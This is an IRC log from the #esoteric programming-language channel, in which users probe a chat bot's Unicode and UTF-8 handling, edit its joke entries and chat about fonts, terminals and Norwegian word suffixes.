20:22:24 <HackEgo> bin/"
20:22:37 <fizzie> Huh.
20:22:54 <fizzie> I was sure screen was still entirely restricted to the BMP, but it seems to somewhat work.
20:23:13 <shachaf> fizzie: Hmm, really?
20:23:21 <shachaf> Maybe I should try screen again.
20:23:25 -!- Vorpal has joined.
20:23:34 <fizzie> Well, I put U+2F85E in a file, and cat it out, and it shows up both inside and outside screen.
20:23:37 <fizzie> That's all I know.
20:24:24 <fizzie> (Though of the terminals I happen to have installed, it only appears to work in stterm; it doesn't render in rxvt-unicode or lxterm.)
20:28:03 -!- spiette has quit (Ping timeout: 264 seconds).
20:28:45 -!- spiette has joined.
20:30:22 <fizzie> As far as I can tell, it doesn't work in "screen 4.01.00devel (GNU) 2-May-06" but it does work in "screen 4.02.01 (GNU) 28-Apr-14" and "screen 4.03.01 (GNU) 28-Jun-15".
20:30:32 <fizzie> Though the screen ChangeLog doesn't mention anything that sounds relevant.
20:31:07 <Vorpal> fizzie, what is U+2F85E
20:32:07 <fizzie> Just a random non-BMP character (CJK COMPATIBILITY IDEOGRAPH-2F85E) from one of the many "astral characters don't work in screen" bugreports that I apparently have a font for.
20:32:19 <Vorpal> Ah
20:32:41 <Vorpal> I need to get an SSD for my desktop. It feel soooo slow now, even with fast RAIDed spinning disks. Now that I'm used to SSDs in every other computer
20:33:35 <Vorpal> Especially the work laptop. Two large and fast SSDs in that one. Also a beast computer in other aspects too
20:34:44 <shachaf> `welcome Vorpal
20:34:48 <HackEgo> Vorpal: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
20:35:02 <shachaf> just get enough RAM that you can put everything in RAM
20:37:21 <Vorpal> shachaf, yeah I guess I need a new mobo then, this only goes up to 32 GB RAM support. And I have 16 GB in it currently
20:37:39 <Vorpal> More realistically I need a new GPU... But waiting for the upcoming generation for that
20:49:20 -!- Vorpal has quit (Quit: ZNC - http://znc.sourceforge.net).
21:00:58 <xfix> `len 𐀀
21:01:04 <HackEgo> 1 codepoint \ 2 Java characters \ 4 UTF-8 bytes
21:04:53 <xfix> `len ế
21:04:54 <HackEgo> 1 codepoint \ 3 UTF-8 bytes
21:06:20 <xfix> `len Q̣̀
21:06:22 <HackEgo> 1 grapheme \ 3 codepoints \ 5 UTF-8 bytes
21:07:34 <xfix> `len x
21:07:36 <HackEgo> 1 codepoint
21:11:36 <fizzie> `len 𝅘𝅧𝅥
21:11:37 <HackEgo> 1 grapheme \ 2 codepoints \ 4 Java characters \ 8 UTF-8 bytes
21:11:43 <fizzie> Yay, four different numbers.
21:13:07 <xfix> `` printf '\xFF' | len
21:13:09 <HackEgo> 0 codepoints
21:13:19 <xfix> `` env printf '\xFF' | len
21:13:22 <HackEgo> 0 codepoints
21:13:25 <xfix> Hm...
21:13:39 <xfix> Oh, right.
21:13:45 <xfix> `` len $'\xFF'
21:13:47 <HackEgo> 1 byte (UTF-8 not valid)
21:14:27 -!- jaboja has joined.
21:14:38 <xfix> `` len $'\U110000'
21:14:39 <HackEgo> 4 bytes (UTF-8 not valid)
21:14:45 <xfix> `` len $'\U10FFFF'
21:14:47 <HackEgo> 4 bytes (UTF-8 not valid)
21:14:58 <xfix> `` len $'\U1FFFF'
21:15:01 <HackEgo> 4 bytes (UTF-8 not valid)
21:15:06 <xfix> Okay...
21:15:13 <xfix> `` len $'\U10000'
21:15:14 <shachaf> `? xfix
21:15:15 <HackEgo> 1 codepoint \ 2 Java characters \ 4 UTF-8 bytes
21:15:18 <HackEgo> xfix? ¯\(°​_o)/¯
21:16:03 <fizzie> `` unidecode $'\U1FFFF'
21:16:08 <HackEgo> U+1FFFF - No such unicode character name in database \ UTF-8: f0 9f bf bf UTF-16BE: d83fdfff Decimal: &#131071; \ 🿿 (🿿) \ Uppercase: U+1FFFF \ Category: Cn (Other, Not Assigned)
21:16:30 <fizzie> Hm. "UTF-8 not valid" sounds like a strange error in that case.
21:16:58 <xfix> len program expects characters to be part of Unicode, apparently.
21:17:12 <shachaf> > hex # ord maxBound
21:17:14 <lambdabot> "10ffff"
21:17:21 <xfix> `` len $'\uE000'
21:17:23 <HackEgo> 1 codepoint \ 3 UTF-8 bytes
21:17:31 <xfix> U+E000 is a non-character too...
21:17:36 <xfix> ``unicode $'\uE000'
21:17:42 <xfix> `` unicodecode $'\uE000'
21:17:45 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `unicode: not found
21:17:51 <HackEgo> ​/hackenv/bin/`: line 4: unicodecode: command not found
21:17:56 <xfix> `` unidecode $'\uE000'
21:18:01 <HackEgo> U+E000 <Private Use, First> \ UTF-8: ee 80 80 UTF-16BE: e000 Decimal: &#57344; \  \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right)
21:18:21 <xfix> Oh wait, no.
21:18:36 <xfix> There are 66 non-characters in Unicode.
21:18:42 <fizzie> `` unidecode $'\uf000'
21:18:45 <HackEgo> U+F000 - No such unicode character name in database \ UTF-8: ef 80 80 UTF-16BE: f000 Decimal: &#61440; \  () \ Uppercase: U+F000 \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right)
21:18:49 <fizzie> `` len $'\uf000'
21:18:52 <HackEgo> 1 codepoint \ 3 UTF-8 bytes
21:19:19 <xfix> U+FDD0..U+FDEF, U+FFFE, U+FFFF, and the last two code points of each of the 16 supplementary planes.
21:19:58 <fizzie> (Those two are different for unidecode, because the first and last private-use characters actually have an entry in UnicodeData, while the rest don't.)
21:20:22 <xfix> `` unidecode $'\uFFFE'
21:20:27 <HackEgo> U+FFFE - No such unicode character name in database \ UTF-8: ef bf be UTF-16BE: fffe Decimal: &#65534; \ ￾ (￾) \ Uppercase: U+FFFE \ Category: Cn (Other, Not Assigned)
21:20:28 <xfix> `` unidecode $'\uFFFF'
21:20:31 <HackEgo> U+FFFF - No such unicode character name in database \ UTF-8: ef bf bf UTF-16BE: ffff Decimal: &#65535; \ ￿ (￿) \ Uppercase: U+FFFF \ Category: Cn (Other, Not Assigned)
21:20:38 <xfix> `` len $'\uFFFF'
21:20:39 <HackEgo> 3 bytes (UTF-8 not valid)
21:20:54 <xfix> len rejects non-characters, apparently. It's somewhat strict.
21:21:10 <xfix> `` len $'\uFEFF'
21:21:12 <HackEgo> 1 codepoint \ 3 UTF-8 bytes
21:21:15 <xfix> `` unidecode $'\uFEFF'
21:21:16 <fizzie> That's reasonable, but calling it "UTF-8 not valid" is a little bit iffy.
21:21:17 <HackEgo> ​[U+FEFF ZERO WIDTH NO-BREAK SPACE]
21:21:48 <fizzie> (Since it doesn't differentiate from byte sequences that don't even UTF-8.)
21:22:15 -!- adu has joined.
21:23:07 <xfix> Hm, I guess I could check the error.
21:26:16 <xfix> `` len $'\uD800'
21:26:17 <HackEgo> 3 bytes (UTF-8 not valid)
21:26:22 <xfix> `` unidecode $'\uD800'
21:26:28 <HackEgo> U+D800 <Non Private Use High Surrogate, First> \ UTF-8: ed a0 80 UTF-16BE: d800 Decimal: &#55296; \ � \ Category: Cs (Other, Surrogate) \ Bidi: L (Left-to-Right)
21:26:54 <shachaf> U+D800 is actually not valid, though.
21:27:27 -!- MoALTz has quit (Quit: Leaving).
21:27:49 <xfix> So the possible errors are: not UTF-8, surrogate characters in UTF-8, using non-characters, using characters above U+10FFFF, anything else?
21:28:24 <shachaf> What errors?
21:28:34 <xfix> UTF-8 parsing errors
21:28:53 <shachaf> What counts as UTF-8 here?
21:29:03 <xfix> Any stream of bytes.
21:29:13 <shachaf> Then how can a stream of bytes be "not UTF-8"?
21:29:39 <xfix> Because it violates UTF-8 standard.
21:29:56 <shachaf> Then I think that error covers everything.
21:30:47 <xfix> I guess if I want to split things, I could specify the following.
21:31:09 <pikhq> Tip, surrogate characters in UTF-8, are not UTF-8.
21:31:46 <xfix> Using invalid UTF-8 bytes, using continuation byte when one wasn't expected, start byte not followed by enough continuation bytes, overlong encoding, characters above U+10FFFF.
21:32:34 <xfix> `` len $'\x80\xAE'
21:32:38 <HackEgo> 2 bytes (UTF-8 not valid)
21:32:44 <xfix> `` unidecode $'\x80\xAE'
21:32:46 <HackEgo> Traceback (most recent call last): \ File "/hackenv/bin/unidecode", line 4, in <module> \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode \ return codecs.utf_8_decode(input, err
21:33:01 <xfix> Nice.
21:33:15 <xfix> `` unidecode $'\x80\xAE' | paste
21:33:25 <shachaf> whoa whoa whoa
21:33:25 <HackEgo> Traceback (most recent call last): \ File "/hackenv/bin/unidecode", line 4, in <module> \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode \ return codecs.utf_8_decode(input, err
21:33:27 <shachaf> paste is overkill
21:33:39 <shachaf> `1 unidecode $'\x80xAE'
21:33:44 <HackEgo> Traceback (most recent call last): \ File "/hackenv/bin/unidecode", line 4, in <module> \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode \ return codecs.utf_8_decode(input, err
21:33:50 <shachaf> Hm.
21:33:53 <xfix> `` unidecode $'\x80\xAE' |& paste
21:34:05 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.20889
21:34:05 <shachaf> `cat bin/1
21:34:08 <HackEgo> ​\` "$@" | sport
21:34:48 <shachaf> `sled bin/1//s#\|#|\&#
21:34:51 <HackEgo> bin/1//|&\` "$@" | sport
21:34:55 <shachaf> `1 unidecode $'\x80xAE'
21:34:56 <HackEgo> ​/hackenv/bin/1: line 1: syntax error near unexpected token `|&' \ /hackenv/bin/1: line 1: `|&\` "$@" | sport'
21:35:07 <shachaf> oops
21:35:27 <\oren\> Why not just use permissive-utf8
21:35:46 <\oren\> (i forgot what it's actually called)
21:35:59 <shachaf> `revert
21:36:14 <xfix> `` unidecode $'\xF0\x82\x82\xAC' | paste
21:36:19 <xfix> `` unidecode $'\xF0\x82\x82\xAC' |& paste
21:36:22 <HackEgo> Traceback (most recent call last): \ File "/hackenv/bin/unidecode", line 4, in <module> \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode \ return codecs.utf_8_decode(input, err
21:36:24 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
21:36:31 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.518
21:36:47 <xfix> Okay.
21:36:49 <\oren\> it's the version of utf-8 where invalid bytes get interpreted as code page 1252
21:36:49 <shachaf> What happened with that sled?
21:36:53 <xfix> `` len $'\xF0\x82\x82\xAC'
21:36:55 <HackEgo> 4 bytes (UTF-8 not valid)
21:37:29 <shachaf> Oh.
21:37:50 <shachaf> That's what I get for testing with BSD sed.
21:38:08 <shachaf> `sled bin/1//s#|#|\&#
21:38:12 <HackEgo> bin/1//|&&\` "$@" | sport
21:38:31 <shachaf> oops, that revert reverted the wrong thing
21:38:59 <shachaf> `mkx bin/1//\` "$@" |& sport
21:39:05 <HackEgo> bin/1
21:39:10 <shachaf> `1 unidecode $'\x80\xAE'
21:39:12 <HackEgo> 1/2:Traceback (most recent call last): \ File "/hackenv/bin/unidecode", line 4, in <module> \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode \ return codecs.utf
21:39:16 <shachaf> `spam
21:39:18 <HackEgo> 2/2:_8_decode(input, errors, True) \ UnicodeDecodeError: 'utf8' codec can't decode byte 0x80 in position 0: invalid start byte \
21:43:01 <pikhq> \oren\: I've seen a few different names for it.
21:46:11 -!- LexiciScriptor has joined.
22:04:03 -!- jaboja has quit (Ping timeout: 264 seconds).
22:06:27 -!- `^_^v has quit (Quit: This computer has gone to sleep).
22:07:57 -!- `^_^v has joined.
22:09:41 <izabera> `unidecode ⌘
22:09:41 <HackEgo> ​[U+2318 PLACE OF INTEREST SIGN]
22:13:10 <\oren\> also it's the symbol on the command key on stupid apple computers
22:13:23 <shachaf> `wisdom
22:13:26 <HackEgo> whom//See: who
22:13:33 <shachaf> `? who
22:13:34 <HackEgo> Who cares about ancient cases anyway?
22:13:45 <\oren\> `? whom
22:13:46 <HackEgo> See: who
22:13:54 <\oren\> ah
22:14:09 <\oren\> `? thou
22:14:10 <HackEgo> thou? ¯\(°​_o)/¯
22:14:17 <\oren\> `? me
22:14:19 <HackEgo> Me is a proud member of the tEaM.
22:14:30 <\oren\> the meat?
22:14:52 <\oren\> @anagrams meat
22:14:52 <lambdabot> Unknown command, try @list
22:14:57 <\oren\> `anagrams meat
22:14:58 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: anagrams: not found
22:15:27 <shachaf> `wisdom
22:15:27 <shachaf> `wisdom
22:15:28 <shachaf> `wisdom
22:15:28 <shachaf> `wisdom
22:15:29 <shachaf> `wisdom
22:15:36 <izabera> does your font have ⌘ ?
22:15:47 <\oren\> of course!
22:16:09 <\oren\> My coverage of techincal symbols is pretty complete
22:16:11 <HackEgo> adventure//You're in a 20 foot by 20 foot stone room. A stout oaken door banded with iron affords the only visible egress. As you approach the door, an imp appears. "Hello, INSERT NAME. To pass, you must solve my puzzle. SEE HANDOUT 1 ON PAGE 17."
22:16:32 <HackEgo> frenemy//Frenemy is the relationship between Kirby and king Dee Dee.
22:16:32 <izabera> but most importantly do you have the multiocular o?
22:16:33 <HackEgo> ist//An ist is an incomplete list.
22:16:35 <HackEgo> the u//The U are a very mad people.
22:16:36 <HackEgo> ruby//Ruby is a programming language from Japan, that eventually decided to support non-ascii characters.
22:16:40 <\oren\> izabera: yep!
22:16:45 <izabera> well done
22:17:13 <izabera> what about ⸘
22:17:20 <izabera> and ‽
22:17:46 <\oren\> you can test by searching http://www.orenwatson.be/allchars.htm
22:17:59 <izabera> i just found out that compose + ? + ! gives ⸘ and compose + ! + ? gives ‽
22:18:07 <\oren\> i don't have ⸘?! weird
22:18:42 <izabera> your ⸘ is mirrored
22:19:03 <izabera> yours leans to the right
22:19:24 <\oren\> I'll fix that in the next version
22:19:49 <izabera> so i just found a bug in your font?
22:20:38 <izabera> and i fixed two bugs in bash? and one in zsh even if someone said it wasn't a bug? and i fixed the s3 authentication @ work?
22:20:40 <izabera> what a day
22:21:06 <\oren\> yup. That's a bug.
22:21:54 <\oren\> I wonder if anyone has a ⸎ in their keyboard
22:22:15 <izabera> `unidecode ⸎
22:22:18 <HackEgo> ​[U+2E0E EDITORIAL CORONIS]
22:22:30 <\oren\> or if any other font decided to draw it in the ancient bird form
22:32:00 -!- hppavilion[2] has joined.
22:33:58 <\oren\> `u8tbl 0x1f923 0x1f924
22:34:00 <HackEgo> ​🤣🤤
22:34:27 <\oren\> boo
22:37:12 <\oren\> stupid old version of screen
23:02:36 -!- adu has quit (Ping timeout: 244 seconds).
23:09:30 <hppavilion[2]> Wow. https://www.indiegogo.com/projects/polynomial-trading-cards#/
23:11:21 -!- `^_^v has quit (Quit: This computer has gone to sleep).
23:11:29 <hppavilion[2]> `cat bin/8-ball
23:11:31 <HackEgo> ​#!/bin/sh \ shuf -n 1 share/8ballreplies
23:11:35 -!- `^_^v has joined.
23:11:59 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
23:15:26 <hppavilion[2]> `url share/8ballreplies
23:15:28 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/share/8ballreplies
23:16:54 -!- `^_^v has quit (Quit: This computer has gone to sleep).
23:17:07 -!- `^_^v has joined.
23:17:19 -!- boily has joined.
23:17:28 <hppavilion[2]> ahoily
23:19:45 <boily> hppavellon[2]!
23:20:06 -!- `^_^v has quit (Client Quit).
23:20:55 -!- hppavilion[2] has changed nick to hppavilion[1].
23:23:10 <fizzie> `culprits data/8ballreplies
23:23:18 <HackEgo> fizzie fizzie
23:23:19 <\oren\> ah the joys of bug reports consisting of a screenshot and "why?"
23:23:22 <fizzie> I don't remember doing that.
23:24:32 <fizzie> Oh, I just mangled it around.
23:25:06 <fizzie> `culprits 8ballreplies
23:25:10 <HackEgo> fizzie b_jonas
23:25:11 <fizzie> The real culprit.
23:25:43 <boily> b_jonas is the root of all things.
23:26:18 <fizzie> I thought it was the cultivation of the person.
23:26:44 * boily mapoles fizzie. 0.99 shachafs.
23:33:39 -!- boily has quit (Read error: Connection reset by peer).
23:33:44 -!- boily_ has joined.
23:35:30 -!- Koen_ has joined.
23:37:00 -!- boily_ has changed nick to boily.
23:37:59 -!- bradcomp has quit (Quit: Page closed).
23:47:21 -!- LexiciScriptor has quit (Quit: LexiciScriptor).
23:54:13 -!- LexiciScriptor has joined.
23:54:23 -!- LexiciScriptor has quit (Client Quit).
2016-06-23
00:00:02 <hppavilion[1]> Wow. I can feel the bullshit oozing out of http://www.biscmi.org/wp-content/uploads/2015/05/Miller2001.pdf
00:00:58 <hppavilion[1]> "This woman broke laws [the examples given are attempted murder and arson], but their husbands had been beating them so we should completely ignore the offense- even if arresting them would be in the interest of public safety"
00:02:04 <hppavilion[1]> When a crime has been committed, determining if it was reasonable is to be deferred to the court- police are not supposed to judge morality in situations where a law has been obviously broken
00:02:34 -!- oerjan has joined.
00:04:42 <boily> hellørjan
00:08:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
00:11:09 <oerjan> helloily
00:17:18 <quintopia> helloily
00:17:32 <boily> quinthellopia.
00:17:37 <oerjan> whatever else nonsense hagb4rd says, he _is_ right that i check out many newcomers to see if they're him.
00:18:13 <oerjan> perhaps a bit too much. i don't think Etaoin was very likely, anyway.
00:48:06 <quintopia> maybe hagb4rd knows that because he is one of the OLDcomers who has ALWAYS used a different name
00:51:39 -!- myndzi\ has joined.
00:57:57 -!- Froox has joined.
01:00:12 <boily> maybe *I* am hagb4rd!
01:00:16 * boily shudders at the thought
01:00:31 <oerjan> fiendish
01:01:05 -!- Frooxius has quit (Ping timeout: 244 seconds).
01:02:38 -!- augur has joined.
01:03:07 <quintopia> boily: your secret is safe with no one!
01:03:14 <quintopia> (like most secrets)
01:03:31 <quintopia> did you ever see that thing: http://www.bouldertherapist.com/html/humor/MentalHealthHumor/panexa/panexa.html
01:04:36 <quintopia> oh...wait...oerjan is hagb4rd! sneaky.
01:16:04 <quintopia> i wonder where boily and oerjan went
01:16:24 <oerjan> :t hex
01:16:25 <lambdabot> (Integral a, Applicative f, Choice p) => p a (f a) -> p String (f String)
01:16:33 <oerjan> :t (#)
01:16:34 <lambdabot> parse error on input ‘)’
01:16:49 <oerjan> :t (# )
01:16:50 <lambdabot> parse error on input ‘)’
01:16:53 <oerjan> :t ( # )
01:16:54 <lambdabot> AReview t b -> b -> t
01:24:22 <\oren\> colombia 0-2 chile
01:24:28 -!- xkapastel has joined.
01:24:38 <quintopia> oh
01:24:45 <boily> quintopia: requinthellopia! I was on the phone with various persons of familial interest.
01:24:51 <boily> `relcome xkapastel
01:24:55 <HackEgo> xkapastel: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
01:25:14 <xkapastel> HackEgo celebrating pride week, i see
01:26:36 <quintopia> you remember back when that whole "official channels get # and unofficial channels get ##" thing was discussed endlessly here? yeah, that would have been a great time to move to #esolang...then there would be no reason for that parenthetical.
01:27:01 <quintopia> anyway, if you don't like rainbows xkapastel
01:27:12 <quintopia> `welcome xkapastel
01:27:14 <HackEgo> xkapastel: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
01:27:46 <\oren\> are you watchong the copa america
01:28:29 <quintopia> i am watching this channel and one other
01:29:42 <oerjan> `WeLcOmE xkapastel
01:29:45 <HackEgo> XkApAsTeL: wElCoMe tO ThE InTeRnAtIoNaL HuB FoR EsOtErIc pRoGrAmMiNg lAnGuAgE DeSiGn aNd dEpLoYmEnT! fOr mOrE InFoRmAtIoN, cHeCk oUt oUr wIkI: <HtTp://eSoLaNgS.OrG/>. (FoR ThE OtHeR KiNd oF EsOtErIcA, tRy #EsOtErIc oN EfNeT Or dAlNeT.)
01:32:15 <boily> re PANEXA: I think I'm not a squirrel, so I should be fine.
01:36:36 <quintopia> have you ever seen a pregnant woman? there are side effects for those who are aware of the concept of pregnancy
01:37:21 <boily> solipsism precludes having seen pregnant women hth
01:38:20 <quintopia> it also precludes my existence. do you imagine you (as me) will send you (as you) a package containing something you experience as beer?
01:38:55 <quintopia> i'm trying to figure out what to label it on the customs form
01:39:04 <quintopia> you think they'll let "soda" pass?
01:39:25 <boily> it's carbonated, it's in a bottle, therefore it's a duck.
01:39:57 <quintopia> s/bottle/container/
01:40:19 <quintopia> i don't think the type of container is essential to duckitude
01:40:45 <quintopia> (shipping animals internationally is definitely not allowed though)
01:41:17 <boily> shipping animal products either...
01:41:41 <boily> one day, one day I'll be able to enjoy strömming...
01:43:17 <quintopia> shipping liquids is surely okay though?
01:43:27 <quintopia> i've done it before, but i'm not sure whether i was open about it
01:47:37 -!- hppavilion[1] has joined.
01:49:44 <quintopia> i guess shipping liquid is okay.
01:50:04 <quintopia> time to leave
01:53:46 <boily> bon shippintopia!
01:54:42 -!- Guest12690 has quit (Ping timeout: 250 seconds).
01:55:29 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
01:59:39 -!- IRIXUser has joined.
02:00:02 -!- IRIXUser has changed nick to Guest51928.
02:04:54 <hppavilion[1]> https://en.wikipedia.org/wiki/Fictional_planets_of_the_Solar_System#Trans-Neptunian_planets should list "Pluto"
02:06:20 <quintopia> TIL: Gordon Freeman is named for Freeman Dyson
02:09:37 <FreeFull> hppavilion[1]: Pluto is a real body though
02:09:56 <hppavilion[1]> FreeFull: Yes, but it isn't actually a planet
02:10:14 <FreeFull> It was classified as a planet before, now it's classified as a dwarf planet
02:10:25 <FreeFull> Just because its classification changed doens't make it fictional
02:11:20 <hppavilion[1]> FreeFull: Yes, but it would be fictional to refer to it as a planet
02:15:41 -!- Cale has quit (Read error: Connection reset by peer).
02:16:42 -!- Cale has joined.
02:16:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
02:18:57 -!- bender__ has joined.
02:19:02 <shachaf> boily: digital dentistry? you must have thing fingers hth
02:21:04 <oerjan> . o O ( boily is edward scissorhands )
02:23:22 <shachaf> thin
02:25:20 <oerjan> wait, how have i not noticed that intensional and intentional are different words
02:25:40 <oerjan> ...i suppose they would be identical in norwegian
02:25:50 <shachaf> wait until you hear about extentional hth
02:28:30 -!- Cale has quit (Ping timeout: 250 seconds).
02:30:20 -!- Cale has joined.
02:30:50 <oerjan> (assuming you don't know, norwegian tends to convert all the latin suffixes -{s,t,ss}ion into -sjon
02:30:53 <oerjan> )
02:31:36 <shachaf> oerjan: is that conversion intenssional?
02:31:54 <oerjan> MAYBE
02:32:48 <oerjan> i don't think you can have -ssion except after a vowel, anyway, hth
02:33:09 <oerjan> oh and -xion -> -ksjon
02:33:50 <shachaf> `` grep '[^aeiou]ssion' share/dict-words
02:33:52 <HackEgo> No output.
02:34:03 <shachaf> `? oerjan
02:34:05 <HackEgo> Your mysterious articled cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
02:34:31 <shachaf> `slwd oerjan//s#ssion#sjon#
02:34:37 <HackEgo> wisdom/oerjan//Your mysterious articled cackling zombie overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
02:35:07 <oerjan> that's indeed a norwegian word.
02:35:41 <oerjan> i think it's rarely used in that context though.
02:37:22 <shachaf> `` grep '[aeiou]ssion' share/dict-words
02:37:25 <HackEgo> Passion \ Passion's \ Passions \ accession \ accession's \ accessioned \ accessioning \ accessions \ admission \ admission's \ admissions \ aggression \ aggression's \ cession \ cession's \ cessions \ commission \ commission's \ commissioned \ commissioner \ commissioner's \ commissioners \ commissioning \ commissions \ compassion \ compassion's \
02:37:31 <shachaf> `slwd oerjan//s#rd#rd commisjoner#
02:37:33 <HackEgo> wisdom/oerjan//Your mysterious articled cackling zombie overlord commisjoner emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
02:37:41 <shachaf> by his own addmisjon
02:37:44 <oerjan> hate something with a passion ~ hate noe intenst, i think.
02:38:10 <shachaf> presumably "noe" is "noel" spelled with no el
02:38:45 <oerjan> commissioner = kommisjonær hth
02:38:54 <oerjan> shachaf: well...
02:39:01 <shachaf> `slwd oerjan//s#commisjoner#kommisjonær#
02:39:05 <HackEgo> wisdom/oerjan//Your mysterious articled cackling zombie overlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
02:39:06 <oerjan> or the norwegian word for something
02:39:19 <shachaf> for what, though
02:39:24 <shachaf> i thought you new norwegian
02:39:28 <shachaf> knew
02:39:31 <shachaf> scow
02:39:37 <shachaf> you win this one
02:41:33 <oerjan> or possibly "kommisær". "There is some confusion between commissioners and commissaries, because other European languages use the same word for both."
02:41:56 <oerjan> wait, *kommissær
02:43:39 <oerjan> ...what kind of shit wiki setup is norwegian wikipedia using, even search box suggestions don't work.
02:46:00 * oerjan isn't entirely clear on what "commissioner" means, anyhow.
02:50:27 <coppro> a commissary is someone in charge of materiel, iirc
02:50:38 <coppro> whereas a commissioner is someone with a commission
02:50:51 -!- iaglium has quit (Quit: Bed Time).
03:09:42 -!- boily has quit (Quit: TRANSVERSE CHICKEN).
03:20:33 -!- spiette has quit (Ping timeout: 240 seconds).
03:24:22 <\oren\> oerjan: I think of http://warhammer40k.wikia.com/wiki/Commissar
03:26:57 -!- augur has quit (Remote host closed the connection).
03:29:15 -!- myndzi\ has quit (Ping timeout: 276 seconds).
03:37:32 <oerjan> hm i think long open reddit tabs leak my cpu...
03:38:39 <\oren\> remeber to pkill -9 chrome regularly
03:40:10 <oerjan> >_>
03:40:35 * oerjan refuses to believe \oren\ hasn't noticed my mentions of using IE.
03:40:36 -!- Frooxius has joined.
03:40:48 <oerjan> also, it was enough to force reload the tab.
03:42:04 * oerjan supposes he may have suppressed the knowledge.
03:43:03 -!- Froox has quit (Ping timeout: 264 seconds).
04:15:48 -!- Froox has joined.
04:19:03 -!- Frooxius has quit (Ping timeout: 264 seconds).
04:24:54 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
04:50:33 -!- hppavilion[1] has joined.
04:56:22 -!- oerjan has quit (Quit: Nite).
05:00:58 -!- Etaoin has joined.
05:07:18 -!- Etaoin has quit (Ping timeout: 250 seconds).
05:20:40 -!- augur has joined.
05:25:11 -!- augur has quit (Ping timeout: 240 seconds).
05:34:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
06:07:49 -!- Kaynato has quit (Ping timeout: 244 seconds).
06:09:29 -!- lambda-11235 has joined.
06:26:52 -!- bender__ has changed nick to bender.
06:31:48 -!- Froox has quit (Quit: *bubbles away*).
06:32:10 -!- Frooxius has joined.
06:32:49 -!- augur has joined.
07:15:06 <izabera> how do http servers know when a client finished sending its headers?
07:16:36 -!- augur has quit (Read error: Connection reset by peer).
07:18:28 <pikhq> Clients terminate the list of headers with "\r\n\r\n".
07:18:52 <pikhq> (i.e. a blank line after the headers)
07:18:59 <pikhq> Content in the request, if any, follows.
07:19:46 <izabera> thanks
07:20:38 -!- augur has joined.
07:23:59 -!- augur has quit (Excess Flood).
07:25:16 -!- augur has joined.
07:26:55 -!- hppavilion[1] has joined.
07:27:23 <hppavilion[1]> There are Flat Earthers and Round Earthers
07:27:33 <hppavilion[1]> I, for one, am a Klein Earther
07:28:56 -!- copumpkin has quit (Ping timeout: 244 seconds).
07:50:55 -!- augur has quit (Read error: Connection reset by peer).
07:51:04 -!- augur has joined.
07:54:29 -!- augur_ has joined.
07:57:50 -!- augur has quit (Ping timeout: 250 seconds).
07:59:21 <hppavilion[1]> If astronomers made a tool for observing the sky at all angles without a large lense, what would it be called?
08:05:12 -!- Destructible has joined.
08:05:23 <Destructible> hi
08:08:02 -!- sebbu has quit (Quit: reboot).
08:15:58 <Destructible> hello?
08:17:54 -!- augur_ has quit (Remote host closed the connection).
08:21:01 -!- Destructible has quit (Quit: Page closed).
08:31:54 -!- J_Arcane has quit (Ping timeout: 246 seconds).
08:42:29 -!- augur has joined.
08:44:20 <^v> hppavilion[1], multiple cameras?
08:44:42 <hppavilion[1]> ^v: *sigh* no
08:44:46 <hppavilion[1]> The 360 Noscope
